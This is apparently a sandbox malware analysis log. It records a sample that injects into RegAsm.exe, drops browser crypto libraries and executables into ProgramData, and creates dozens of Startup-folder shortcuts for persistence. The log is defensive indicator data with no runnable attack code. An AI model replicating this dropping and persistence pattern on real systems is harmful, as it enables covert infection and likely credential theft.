Source: MFDBG_1e87d1c6f4d246c1b33392c295ce841c.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_5c1d4789cb184dff809a6a949d62dbea.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_251e0feac337452ea9a3169ac053df76.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1d5498d13aca48509f25b0861cdf1bc9.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b0665480dd1448d6ae92f8d305245bbc.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_0023ffb71eba4e1cb3248efd79b484ea.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1c48adb6b07f46e989aadb091d958cd9.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b66567f7a2dc4c5f9ec7bab8df53c2e7.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_59a1cababd08434283bbe01f6817b75e.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6fc910e111a642a9a0f17bb964eab590.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_17de32bcc23b4dcaa3a902bd1942a737.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_06e0ce16b560480792c95aa5a3e89526.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6793b2a388e9442293095ba70f5c583b.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_8cd9a63d4f954de487775fe89542721c.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_802b6156de3f439c813ea4bf7dffba92.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_85d8a5f504824763b0a0c3b6cc4d10fb.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_87da777e0c084e298b02598b0ede0eac.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_387638beaa9e4d2492bd9c3e22b77280.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_555ff2d3ba2c4c7089ed884259a7192f.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_2dd3288fe7794fb086adda81182f90e3.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c62c32d63da94d74800bb8d867dc2cc3.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f3408920b42d477d82a70823101ed2ee.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_60c356c487fa47da9f5a019a13016e95.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_dd4604b136a747629e27d3201ce0b0bc.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_4cb4d055ba10431681a85cd1553f5794.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_60e052ecdb7c4773b1227a0a98bff165.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_65ac9a878d964552aeb08efc909c80f0.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_305792d13f0e478db4e1573b21322d35.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_de9ac4a308614189a6b4bf032b336629.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_7fe6034bf64b40599010fd8a71a4097a.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_bd465e8b637d4cc79ac948b8ac6dd6a4.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c669faa194c148adbd71d355ac4cf53c.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_97d77af1279b4a899fef3dd0f63a817e.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e2978ee49ccb4db19bf257228bb79a04.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_9099c16e1382467c811a672fc770752a.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3387e19066864f919738274f26e2507f.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_665a7f1103ed406ca8444dcd1ae127b6.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_87e99d43bde5442eaf96c587a99faff0.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1c1ad77e28df4c92ac4458387a7ebf7d.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_450bf0bac6be499eaaf0e4e92ff92060.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a9fe575ce50040239577b1f27b3c59d1.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e3535f3a13fe494bab7fc46edf2b3d27.lnk.7.dr	LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source:	Binary string: System.Core.pdbP source: WER1AF4.tmp.dmp.19.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source:	Binary string: System.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: soft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.3269805633.000000003A911000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.3244466284.000000002EA31000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source:	Binary string: \mscorlib.pdb source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbL0 source: WER430E.tmp.dmp.23.dr
Source:	Binary string: System.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: ws\mscorlib.pdb source: MFDBG.exe, 00000015.00000002.3294025471.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source:	Binary string: mscorlib.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: \System.pdb source: MFDBG.exe, 00000010.00000002.3375081818.0000000000897000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb^ source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: MFDBG.exe, 00000010.00000002.3375081818.00000000008D8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: System.Core.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: System.pdb4 source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbp source: MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source:	Binary string: orlib.pdbE source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: System.Core.pdbk source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: ws\mscorlib.pdb]q source: MFDBG.exe, 00000010.00000002.3333482247.00000000004F8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr

Source: AFIDGDBGCA.exe.3.dr

Static PE information: 0xF9147003 [Sun Jun 4 12:09:39 2102 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041891A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_0041891A

Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042F112 push ecx; ret	3_2_0042F125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00422D09 push esi; ret	3_2_00422D0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DD85 push ecx; ret	3_2_0041DD98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432715 push 0000004Ch; iretd	3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0CB536 push ecx; ret	3_2_6C0CB549
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 7_2_011E3528 push eax; ret	7_2_011E3562
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 7_2_011E3578 push eax; ret	7_2_011E3582
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 7_2_011E3568 push eax; ret	7_2_011E3572
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 7_2_011E3588 push eax; ret	7_2_011E3592
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Code function: 7_2_011E35B8 push eax; ret	7_2_011E3582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00440466 push ds; ret	15_2_00440468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 15_2_00416D75 push ebx; ret	15_2_00416D77

Source: file.exe	Static PE information: section name: .text entropy: 7.996138391086221
Source: BFIIEHJDBK.exe.3.dr	Static PE information: section name: .text entropy: 7.995724440591308
Source: 66f4247d51812_lfdsjna[1].exe.3.dr	Static PE information: section name: .text entropy: 7.995724440591308

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\BFIIEHJDBK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\AFIDGDBGCA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\ProgramData\AFIDGDBGCA.exe	File created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\BFIIEHJDBK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\AFIDGDBGCA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\ProgramData\AFIDGDBGCA.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20d84ac4d2b342b0aa531f776e52a3c4.lnk

Jump to behavior

Source: C:\ProgramData\AFIDGDBGCA.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20d84ac4d2b342b0aa531f776e52a3c4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b6682343f2ec4234b40dd8d996b47aba.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_327b3ce9535747efb2a68d2d5427ac22.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e48f2b0ac2904a2cba40c95dc6d2c4ae.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e12e68f152b14eda9937bd048008c634.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57c3dc2d73c84c13a5091468821d8546.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d91f2c4dd7ae4b4ab0c4f9cb472863f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_679da50a292449628d7cd03cf9bd3609.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ac9ff2f16234acf89b88865079d203b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3160f6c96ad24cf8a52bfde3f07fefe9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_805cd967a1e0458690a6d85264259d2d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_acc2bf7f8988429480a10d78e848d9de.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ec0339cccda84fab851ef4c897b654b2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4515f89eab1541fb909daf5ff439699f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ac7c183d8e104d0898ec08ba3d6e977a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_137c7ac15843439eb825bf0c2a708ec6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23e9901023b54a33a2de565a46838dce.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_475738d6735b421e99266b504b11afdf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_109556ef264145c5be3801860d1b872f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66c131e505384837b3a2f3317d9813e3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57062ac43d244e55829ae53f97667ed7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f42fccc5c8864a93813cdc713df7f4ed.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ec72330d02a449b7acfcbf1c2e2cf9c0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_071cf82760de41e99435ad6398c24c65.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_156dc3e9b6bb48aa92d0b55d707d8af2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c6d7257202c0473c944c370bfa08bfd0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_585962d65693493c9f6397a571fab6d2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_39cc9ec8f4bd4a0c98339c9bdfd38e93.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c6e1b108fc64121a5aacb408ce67174.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c7d6042b576147de8e29ae337a2ff07c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e74a4d3818c4fd1869db2495707835b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_497b0a681df74d3282867dea6f1d036f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db6adcdf1253475e88705991bd9cf61a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_04c1001ba5574c47b33110af710791ef.lnk	Jump to behavior
